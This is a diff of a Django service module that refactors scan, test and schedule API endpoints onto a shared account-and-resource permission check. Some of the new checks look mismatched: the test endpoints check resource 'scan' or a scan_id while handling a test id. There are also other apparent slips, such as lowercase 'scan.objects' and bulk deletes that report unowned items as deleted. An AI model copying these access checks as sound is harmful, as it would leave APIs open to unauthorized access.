@@ -873,30 +1328,45 @@ def create_scan(request=None, delay=False, *args, **kwargs):
 
 
 
-def create_many_scans(request):
+def create_many_scans(request: object) -> object:
+    """ 
+    Bulk creates `Scans` for each requested `Page`.
+    Either scoped for many `Pages` or many `Sites`.
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs')
-    type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    configs = request.data.get('configs', settings.CONFIGS)
+    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
     tags = request.data.get('tags')
     user = request.user
 
+    # setting defaults
     num_succeeded = 0
     succeeded = []
     num_failed = 0
     failed = []
     this_status = True
 
+    # scoped for sites
     if site_ids:
         for id in site_ids:
             data = {
                 'site_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }
             try:
+                # create scan
                 res = create_scan(delay=True, **data)
                 if res['success']:
                     num_succeeded += 1
@@ -906,21 +1376,22 @@ def create_many_scans(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # scoped for pages
     if page_ids:
         for id in page_ids:
             data = {
                 'page_id': str(id), 
                 'configs': configs,
-                'type': type,
+                'type': types,
                 'tags': tags,
                 'user_id': str(user.id)
             }
             try:
+                # create scan
                 res = create_scan(delay=True, **data)
                 if res['success']:
                     num_succeeded += 1
@@ -930,11 +1401,11 @@ def create_many_scans(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # format and return
     data = {
         'success': this_status,
         'num_succeeded': num_succeeded,
@@ -942,66 +1413,60 @@ def create_many_scans(request):
         'num_failed': num_failed,
         'failed': failed, 
     }
-    
     record_api_call(request, data, '201')
     return Response(data, status=status.HTTP_201_CREATED)
 
 
 
-def get_scans(request):
 
-    user = request.user
-    account = Member.objects.get(user=user).account
+def get_scans(request: object) -> object:
+    """ 
+    Get one or more `Scans`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     scan_id = request.query_params.get('scan_id')
     page_id = request.query_params.get('page_id')
-    time_begin = request.query_params.get('time_begin')
-    time_end = request.query_params.get('time_end')
     lean = request.query_params.get('lean')
+    user = request.user
+    account = Member.objects.get(user=user).account
+    
+    # deciding on scope
+    resource = 'page' if page_id else 'scan'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, scan_id=scan_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # get single scan
     if scan_id != None:
-        try:
-            scan = Scan.objects.get(id=scan_id)
-        except:
-            data = {'reason': 'cannot find a Scan with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if scan.site.account != account:
-            data = {'reason': 'cannot retrieve Scans you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+
+        # get scan
+        scan = Scan.objects.get(id=scan_id)
         
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = ScanSerializer(scan, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
-    
-    try:
-        page = Page.objects.get(id=page_id)
-    except:
-        data = {'reason': 'cannot find a Page with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-    
-
-    if page.account != account:
-        data = {'reason': 'cannot retrieve Scans you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-
-    
-    if time_begin == None and page != None and time_end != None:
-        scans = Scan.objects.filter(page=page).filter(time_created__lte=time_end).order_by('-time_created')
-    elif time_end == None and page != None and time_begin != None:  
-        scans = Scan.objects.filter(page=page).filter(time_created__gte=time_begin).order_by('-time_created')
-    elif time_end == None and time_begin == None and page != None:
-        scans = Scan.objects.filter(page=page).order_by('-time_created')
-    elif time_end != None and time_begin != None and page != None:
-        scans = Scan.objects.filter(page=page).filter(time_created__gte=time_begin).filter(time_created__lte=time_end).order_by('-time_created')
-
+    # get page scoped scans
+    page = Page.objects.get(id=page_id)
+    scans = Scan.objects.filter(page=page)
         
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(scans, request)
     serializer_context = {'request': request,}
@@ -1015,34 +1480,79 @@ def get_scans(request):
 
 
 
-def get_scan_lean(request, id):
+def get_scan(request: object, id: str) -> object:
+    """
+    Get single `Scan` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        scan = Scan.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Scan with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        scan_id=id, resource='scan'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get scan if checks passed
+    scan = Scan.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = ScanSerializer(scan, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
+
+def get_scan_lean(request: object, id: str) -> object:
+    """ 
+    Get a single `Scan` and only return scores & timestamps
+
+    Expects: {
+        'request' : object, 
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
 
-    if scan.site.account != account:
-        data = {'reason': 'cannot retrieve Scans you do not own'}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='scan', scan_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get scan if checks passed
+    scan = Scan.objects.get(id=id)
 
     # get lighthouse scores if exists
-    try:
-        lighthouse = {"scores": scan.lighthouse.get('scores')}
-    except:
-        lighthouse = None
+    lighthouse = {"scores": scan.lighthouse.get('scores')}
     
     # get yellowlab scores if exists
-    try:
-        yellowlab = {"scores": scan.yellowlab.get('scores')}
-    except:
-        yellowlab = None
+    yellowlab = {"scores": scan.yellowlab.get('scores')}
 
+    # format data
     data = {
         "id": str(scan.id),
         "site": str(scan.site.id),
@@ -1054,6 +1564,7 @@ def get_scan_lean(request, id):
         "yellowlab": yellowlab,
     }
 
+    # return response
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -1061,27 +1572,39 @@ def get_scan_lean(request, id):
 
 
 
-def delete_scan(request, id):
-    try:
-        scan = Scan.objects.get(id=id)
-    except Exception as e:
-        data = {'reason': 'cannot find a Scan with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-    site = scan.site
+def delete_scan(request: object, id: str) -> object:
+    """ 
+    Deletes the `Scan` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check account and resource
+    check_data = check_account_and_resource(request=request, scan_id=id, resource='scan')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get scan if checks passes
+    scan = Scan.objects.get(id=id)
 
-    if site.account != account:
-        data = {'reason': 'delete Scans of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-
+    # remove s3 objects
     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
+
+    # delete scan
     scan.delete()
 
+    # return response
     data = {'message': 'Scan has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -1090,12 +1613,29 @@ def delete_scan(request, id):
 
 
 
-def delete_many_scans(request):
+def delete_many_scans(request: object) -> object:
+    """ 
+    Deletes one or more `Scans` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -1104,20 +1644,25 @@ def delete_many_scans(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+            
+            # trying to delete scan
             try:
                 scan = Scan.objects.get(id=id)
                 if scan.site.account == account:
                     delete_scan_s3_bg.delay(scan.id, scan.site.id, scan.page.id)
                     scan.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except Exception as e:
-                print(e)
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format data
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -1126,10 +1671,12 @@ def delete_many_scans(request):
             'failed': failed, 
         }
         
+        # returning response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
 
+    # return error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -1140,15 +1687,27 @@ def delete_many_scans(request):
 
 
 
+### ------ Begin Test Services ------ ###
 
 
 
 
+def create_test(request: object=None, delay: bool=False, **kwargs) -> dict | object:
+    """ 
+    Create one or more `Tests` depanding on 
+    `Page` or `Site` scope
+
+    Expects: {
+        'request': object, 
+        'delay': bool
+    }
+
+    Returns -> dict or HTTP Response object
+    """
 
-def create_test(request=None, delay=False, *args, **kwargs):
+    # get data from request
     if request is not None:
-        # get data from request
-        configs = request.data.get('configs')
+        configs = request.data.get('configs', settings.CONFIGS)
         pre_scan_id = request.data.get('pre_scan')
         post_scan_id = request.data.get('post_scan')
         index = request.data.get('index')
@@ -1159,8 +1718,10 @@ def create_test(request=None, delay=False, *args, **kwargs):
         site_id = request.data.get('site_id')
         page_id = request.data.get('page_id')
         user = request.user
+
+    # get data from kwargs
     if request is None:
-        configs = kwargs.get('configs')
+        configs = kwargs.get('configs', settings.CONFIGS)
         pre_scan_id = kwargs.get('pre_scan')
         post_scan_id = kwargs.get('post_scan')
         index = kwargs.get('index')
@@ -1172,78 +1733,59 @@ def create_test(request=None, delay=False, *args, **kwargs):
         page_id = kwargs.get('page_id')
         user_id = kwargs.get('user_id')
         user = User.objects.get(id=user_id)
-        # get data from kwargs
+
+    # get account
     account = Member.objects.get(user=user).account
 
-    check_data = check_account(request=request, user=user, resource='test')
+    # verifying test_type
+    if len(test_type) == 0:
+        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
+
+    # deciding on scope
+    resource = 'site' if site_id else 'page'
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, site_id=site_id
+    )
     if not check_data['allowed']:
-        data = {'reason': check_data['error'], 'success': False}
-        print(data)
+        data = {
+            'reason': check_data['error'], 
+            'success': False, 
+            'code': check_data['code'], 
+            'status': check_data['status']
+        }
         if request is not None:
-            record_api_call(request, data, '402')
-            return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
+            record_api_call(request, data, check_data['code'])
+            return Response(data, status=check_data['status'])
         return data
 
+    # deciding on scope
     if site_id is not None:
-        try:
-            site = Site.objects.get(id=site_id)
-        except:
-            data = {'reason': 'cannot find a Site with that id', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-
-        if site.account != account:
-            data = {'reason': 'create a Test of a Site you do not own', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-    
+        site = Site.objects.get(id=site_id)    
     if page_id is not None:
-        try:
-            page = Page.objects.get(id=page_id)
-        except:
-            data = {'reason': 'cannot find a Page with that id', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '404')
-                return Response(data, status=status.HTTP_404_NOT_FOUND)
-            return data
-        if page.account != account:
-            data = {'reason': 'create a Test of a Page you do not own', 'success': False,}
-            print(data)
-            if request is not None:
-                record_api_call(request, data, '403')
-                return Response(data, status=status.HTTP_403_FORBIDDEN)
-            return data
-        
-
-    if len(test_type) == 0:
-        test_type = ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab']
-    
-    if not configs:
-        configs = settings.CONFIGS
-
+        page = Page.objects.get(id=page_id)
 
+    # building pages list
     if site_id is not None and page_id is None:
         pages = Page.objects.filter(site=site)
-    
     if site_id is None and page_id is not None:
         pages = [page]
 
+    # setting default
     created_tests = []
+
+    # looping through pages
     for p in pages:
 
+        # checking for scan completion
         if not Scan.objects.filter(page=p).exists():
             data = {'reason': 'Page not yet onboarded', 'success': False,}
             print(data)
             record_api_call(request, data, '400')
             return Response(data, status=status.HTTP_400_BAD_REQUEST)
         
+        # verifying pre_ and post_ scans exists
         if pre_scan_id:
             try:
                 pre_scan = Scan.objects.get(id=pre_scan_id)
@@ -1269,6 +1811,7 @@ def create_test(request=None, delay=False, *args, **kwargs):
         if pre_scan_id is None:
             pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
 
+        # verifying pre_ and post_ scans completion
         if pre_scan:
             if pre_scan.time_completed == None:
                 data = {'reason': 'pre_scan still running', 'success': False,}
@@ -1277,7 +1820,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
                     record_api_call(request, data, '400')
                     return Response(data, status=status.HTTP_400_BAD_REQUEST)
                 return data
-        
         if post_scan:
             if post_scan.time_completed == None:
                 data = {'reason': 'post_scan still running', 'success': False,}
@@ -1294,9 +1836,12 @@ def create_test(request=None, delay=False, *args, **kwargs):
             type=test_type,
             tags=tags,
         )
+
+        # add test.id to list
         created_tests.append(str(test.id))
 
         if delay == True:
+            # running test in background
             create_test_bg.delay(
                 page_id=p.id,
                 test_id=test.id,
@@ -1308,15 +1853,25 @@ def create_test(request=None, delay=False, *args, **kwargs):
                 tags=tags,
             )
             message = 'Tests are being created in the background'
-            
+
+        # run with no delay  
         else:
+            # getting pre_scan and building post_scan
             if not pre_scan and not post_scan:
-                new_scan = S(site=p.site, page=p, configs=configs, type=test_type)
-                post_scan = new_scan.second_scan()
-                pre_scan = post_scan.paired_scan
-
+                if scan.objects.filter(page=p).exists():
+                    pre_scan = Scan.objects.filter(page=p).order_by('-time_created')[0]
+                    post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
+                else:
+                    data = {'reason': 'no pre_scan available', 'success': False,}
+                    print(data)
+                    if request is not None:
+                        record_api_call(request, data, '400')
+                        return Response(data, status=status.HTTP_400_BAD_REQUEST)
+                    return data
+
+            # building post_scan
             if not post_scan and pre_scan:
-                post_scan = S(site=p.site, page=p, scan=pre_scan, configs=configs, type=test_type).second_scan()
+                post_scan = S(site=p.site, page=p, configs=configs, type=test_type).build_scan()
 
             # updating parired scans
             pre_scan.paired_scan = post_scan
@@ -1335,7 +1890,6 @@ def create_test(request=None, delay=False, *args, **kwargs):
             updated_test = T(test=test).run_test(index=index)
             message = 'Tests have completed running'
 
-    
     # returning dynaminc response
     data = {
         'success': True,
@@ -1350,20 +1904,34 @@ def create_test(request=None, delay=False, *args, **kwargs):
 
 
 
-def create_many_tests(request):
+def create_many_tests(request: object) -> object:
+    """ 
+    Bulk creates `Tests` for each requested `Page`.
+    Either scoped for many `Pages` or many `Sites`.
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     site_ids = request.data.get('site_ids')
     page_ids = request.data.get('page_ids')
-    configs = request.data.get('configs')
-    type = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    configs = request.data.get('configs', settings.CONFIGS)
+    types = request.data.get('type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
     tags = request.data.get('tags')
     user = request.user
 
+    # setting defaults
     num_succeeded = 0
     succeeded = []
     num_failed = 0
     failed = []
     this_status = True
 
+    # scoped for sites
     if site_ids:
         for id in site_ids:
             data = {
@@ -1374,6 +1942,7 @@ def create_many_tests(request):
                 'user_id': str(user.id)
             }
             try:
+                # create test
                 res = create_test(delay=True, **data)
                 if res['success']:
                     num_succeeded += 1
@@ -1383,11 +1952,11 @@ def create_many_tests(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # scoped for pages
     if page_ids:
         for id in page_ids:
             data = {
@@ -1398,8 +1967,8 @@ def create_many_tests(request):
                 'user_id': str(user.id)
             }
             try:
+                # create test
                 res = create_test(delay=True, **data)
-                print(res)
                 if res['success']:
                     num_succeeded += 1
                     succeeded.append(str(id))
@@ -1408,11 +1977,11 @@ def create_many_tests(request):
                     this_status = False
                     failed.append(str(id))
             except Exception as e:
-                print(e)
                 num_failed += 1
                 this_status = False
                 failed.append(str(id))
 
+    # format and return
     data = {
         'success': this_status,
         'num_succeeded': num_succeeded,
@@ -1420,125 +1989,149 @@ def create_many_tests(request):
         'num_failed': num_failed,
         'failed': failed, 
     }
-
     record_api_call(request, data, '201')
     return Response(data, status=status.HTTP_201_CREATED)
     
 
 
 
-def get_tests(request):
-    user = request.user
-    account = Member.objects.get(user=user).account
+def get_tests(request: object) -> object:
+    """ 
+    Get one or more `Tests`.
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     test_id = request.query_params.get('test_id')
     page_id = request.query_params.get('page_id')
-    time_begin = request.query_params.get('time_begin')
-    time_end = request.query_params.get('time_end')
     lean = request.query_params.get('lean')
+    user = request.user
+    account = Member.objects.get(user=user).account
     
+    # deciding on scope
+    resource = 'page' if page_id else 'test'
 
-    if test_id != None:
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource=resource, page_id=page_id, test_id=test_id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
-        try:
-            test = Test.objects.get(id=test_id)
-        except:
-            data = {'reason': 'cannot find a Test with that id'}
-            record_api_call(request, data, '404')
-            return Response(data, status=status.HTTP_404_NOT_FOUND)
-
-        if test.site.account != account:
-            data = {'reason': 'cannot retrieve Tests you do not own'}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # get single test
+    if test_id != None:
         
+        # get test
+        test = Test.objects.get(id=test_id)
+
+        # serialize and return
         serializer_context = {'request': request,}
         serialized = TestSerializer(test, context=serializer_context)
         data = serialized.data
         record_api_call(request, data, '200')
         return Response(data, status=status.HTTP_200_OK)
 
+    # get all page scoped tests
+    page = Page.objects.get(id=page_id)
+    tests = Test.objects.filter(page=page).order_by('-time_created')
 
-    try:
-        page = Page.objects.get(id=page_id)
-    except:
-        if page_id != None:
-            data = {'reason': 'cannot find a Page with that id',}
-            this_status = status.HTTP_404_NOT_FOUND
-            status_code = '404'
-        else:
-            data = {'reason': 'you did not provide the page_id'}
-            this_status = status.HTTP_400_BAD_REQUEST
-            status_code = '400'
-        record_api_call(request, data, status_code)
-        return Response(data, status=this_status)
-
-    if page.site.account != account:
-        data = {'reason': 'cannot retrieve Tests you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
-    
-    if time_begin == None and page != None and time_end != None:
-        tests = Test.objects.filter(page=page).filter(time_completed__lte=time_end).order_by('-time_created')
-    elif time_end == None and page != None and time_begin != None:  
-        tests = Test.objects.filter(page=page).filter(time_completed__gte=time_begin).order_by('-time_created')
-    elif time_end != None and time_begin != None and page != None:
-        tests = Test.objects.filter(page=page).filter(time_completed__gte=time_begin).filter(time_completed__lte=time_end).order_by('-time_created')
-    elif time_end == None and time_begin == None and Site != None:
-        tests = Test.objects.filter(page=page).order_by('-time_created')
-    else:
-        data = {'reason': 'you did not provide the right params',}
-        record_api_call(request, data, '400')
-        return Response(data, status=status.HTTP_400_BAD_REQUEST)
-        
+    # serialize and return
     paginator = LimitOffsetPagination()
     result_page = paginator.paginate_queryset(tests, request)
     serializer_context = {'request': request,}
     serialized = TestSerializer(result_page, many=True, context=serializer_context)
     if str(lean).lower() == 'true':
         serialized = SmallTestSerializer(result_page, many=True, context=serializer_context)
-        
     response = paginator.get_paginated_response(serialized.data)
     record_api_call(request, response.data, '200')
-
     return response
 
 
 
 
-def get_test_lean(request, id):
+def get_test(request: object, id: str) -> object:
+    """
+    Get single `Test` from the passed "id"
+
+    Expects: {
+        'request' : object,
+        'id'      : str 
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
-    try:
-        test = Test.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Test with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, 
+        test_id=id, resource='scan'
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get test if checks passed
+    test = Test.objects.get(id=id)
+        
+    # serialize and return
+    serializer_context = {'request': request,}
+    serialized = TestSerializer(test, context=serializer_context)
+    data = serialized.data
+    record_api_call(request, data, '200')
+    return Response(data, status=status.HTTP_200_OK)
+
+
+
 
-    if test.site.account != account:
-        data = {'reason': 'cannot retrieve Tests you do not own'}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+def get_test_lean(request: object, id: str) -> object:
+    """ 
+    Get a single `Test` and only return scores & timestamps
+
+    Expects: {
+        'request' : object, 
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account
+    user = request.user
+    account = Member.objects.get(user=user).account
+
+    # check account and resource 
+    check_data = check_account_and_resource(
+        user=user, resource='scan', scan_id=id
+    )
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+    
+    # get test if checks passed
+    test = Test.objects.get(id=id)
 
     # get images_delta if exists
-    try:
-        images_delta = {"average_score": test.images_delta.get('average_score')}
-    except:
-        images_delta = None
+    images_delta = {"average_score": test.images_delta.get('average_score')}
 
     # get lighthouse_delta if exists
-    try:
-        lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')}
-    except:
-        lighthouse_delta = None
+    lighthouse_delta = {"scores": test.lighthouse_delta.get('scores')}
 
-     # get lighthouse_delta if exists
-    try:
-        yellowlab_delta = {"scores": test.yellowlab_delta['scores']}
-    except:
-        yellowlab_delta = None
+    # get lighthouse_delta if exists
+    yellowlab_delta = {"scores": test.yellowlab_delta['scores']}
 
+    # format data
     data = {
         "id": str(test.id),
         "site": str(test.site.id),
@@ -1554,6 +2147,7 @@ def get_test_lean(request, id):
         "images_delta": images_delta,
     }
 
+    # return
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
     return response
@@ -1561,26 +2155,39 @@ def get_test_lean(request, id):
 
 
 
-def delete_test(request, id):
-    try:
-        test = Test.objects.get(id=id)
-    except:
-        data = {'reason': 'cannot find a Test with that id'}
-        record_api_call(request, data, '404')
-        return Response(data, status=status.HTTP_404_NOT_FOUND)
-        
-    site = test.site
+def delete_test(request: object, id: str) -> object:
+    """ 
+    Deletes the `Test` associated with the passed "id" 
+
+    Expcets: {
+        'request' : object,
+        'id'      : str
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get user and account info
     user = request.user
     account = Member.objects.get(user=user).account
 
-    if site.account != account:
-        data = {'reason': 'delete Tests of a Site you do not own',}
-        record_api_call(request, data, '403')
-        return Response(data, status=status.HTTP_403_FORBIDDEN)
+    # check account and resource
+    check_data = check_account_and_resource(request=request, test_id=id, resource='test')
+    if not check_data['allowed']:
+        data = {'reason': check_data['error'],}
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
+
+    # get test if checks passed
+    test = Test.objects.get(id=id)
     
+    # remove s3 objects
     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
+
+    # delete test
     test.delete()
 
+    # return response
     data = {'message': 'Test has been deleted',}
     record_api_call(request, data, '200')
     response = Response(data, status=status.HTTP_200_OK)
@@ -1589,12 +2196,29 @@ def delete_test(request, id):
 
 
 
-def delete_many_tests(request):
+def delete_many_tests(request: object) -> object:
+    """ 
+    Deletes one or more `Tests` associated
+    with the passed "request.ids" 
+
+    Expcets: {
+        'request' : object,
+    }
+
+    Returns -> HTTP Response object
+    """
+
+    # get request data
     ids = request.data.get('ids')
+
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
 
+    # check for ids
     if ids is not None:
+
+        # setting defaults
         count = len(ids)
         num_succeeded = 0
         succeeded = []
@@ -1603,19 +2227,25 @@ def delete_many_tests(request):
         user = request.user
         this_status = True
 
+        # loop through passed ids
         for id in ids:
+
+            # trying to delete site
             try:
                 test = Test.objects.get(id=id)
                 if test.site.account == account:
                     delete_test_s3_bg.delay(test.id, test.site.id, test.page.id)
                     test.delete()
+                # add to success attempts
                 num_succeeded += 1
                 succeeded.append(str(id))
             except:
+                # add to failed attempts
                 num_failed += 1
                 failed.append(str(id))
                 this_status = False
 
+        # format data
         data = {
             'success': this_status,
             'num_succeeded': num_succeeded,
@@ -1623,10 +2253,13 @@ def delete_many_tests(request):
             'num_failed': num_failed,
             'failed': failed, 
         }
+
+        # return response
         record_api_call(request, data, '200')
         response = Response(data, status=status.HTTP_200_OK)
         return response
     
+    # return error
     data = {
         'reason': 'you must provide an array of id\'s'
     }
@@ -1637,69 +2270,66 @@ def delete_many_tests(request):
 
 
 
+### ------ Begin Schedule Services ------ ###
+
+
 
 
+def create_or_update_schedule(request: object) -> object:
+    """ 
+    Creates or Updates a `Schedule` 
+
+    Expects: {
+        'request': object
+    }
+    
+    Returns -> HTTP Response object
+    """
 
+    # get request data
+    schedule_status = request.data.get('status')
+    begin_date_raw = request.data.get('begin_date')
+    time = request.data.get('time')
+    timezone = request.data.get('timezone')
+    freq = request.data.get('frequency')
+    task_type = request.data.get('task_type')
+    test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
+    configs = request.data.get('configs', settings.CONFIGS)
+    schedule_id = request.data.get('schedule_id')
+    site_id = request.data.get('site_id')
+    page_id = request.data.get('page_id')
+    case_id = request.data.get('case_id')
+    updates = request.data.get('updates')
 
-def create_or_update_schedule(request):
+    # get user and account
     user = request.user
     account = Member.objects.get(user=user).account
+    
+    # deciding on action type
+    action = 'add' if schedule_id else None
 
-    check_data = check_account(request=request, resource='schedule')
+    # checking account and resource 
+    check_data = check_account_and_resource(
+        request=request, resource='schedule', page_id=page_id, 
+        site_id=site_id, schedule_id=schedule_id, action=action
+    )
     if not check_data['allowed']:
         data = {'reason': check_data['error'],}
-        record_api_call(request, data, '402')
-        return Response(data, status=status.HTTP_402_PAYMENT_REQUIRED)
-    try:
-        site = Site.objects.get(id=request.data.get('site_id'))
-        if site.account != account and site.account != None:
-            data = {'reason': 'cannot create a Schedule for a Site you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        site = None
-    try:
-        page = Page.objects.get(id=request.data.get('page_id'))
-        if page.account != account and page.account != None:
-            data = {'reason': 'cannot create a Schedule for a Page you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        page = None
-    try:
-        schedule = Schedule.objects.get(id=request.data.get('schedule_id'))
-        if schedule.account != account and schedule.account != None:
-            data = {'reason': 'update a Schedule you do not own',}
-            record_api_call(request, data, '403')
-            return Response(data, status=status.HTTP_403_FORBIDDEN)
-    except:
-        schedule = None
-
-
-    schedule_status = request.data.get('status', None)
-    begin_date_raw = request.data.get('begin_date', None)
-    time = request.data.get('time', None)
-    timezone = request.data.get('timezone', None)
-    freq = request.data.get('frequency', None)
-    task_type = request.data.get('task_type', None)
-    test_type = request.data.get('test_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    scan_type = request.data.get('scan_type', ['html', 'logs', 'vrt', 'lighthouse', 'yellowlab'])
-    configs = request.data.get('configs', None)
-    schedule_id = request.data.get('schedule_id', None)
-    site_id = request.data.get('site_id', None)
-    page_id = request.data.get('page_id', None)
-    case_id = request.data.get('case_id', None)
-    updates = request.data.get('updates', None)
+        record_api_call(request, data, check_data['code'])
+        return Response(data, status=check_data['status'])
 
+    # get schedule if checks passed and id is present
+    if schedule_id:
+        schedule = Schedule.objects.get(id=schedule_id)
+    
     # converting to str for **kwargs
     if site_id is not None:
         site_id = str(site_id)
     if page_id is not None:
         page_id = str(page_id)
 
-    if configs is None:
-        configs = settings.CONFIGS
-
+    # toggling schedule status
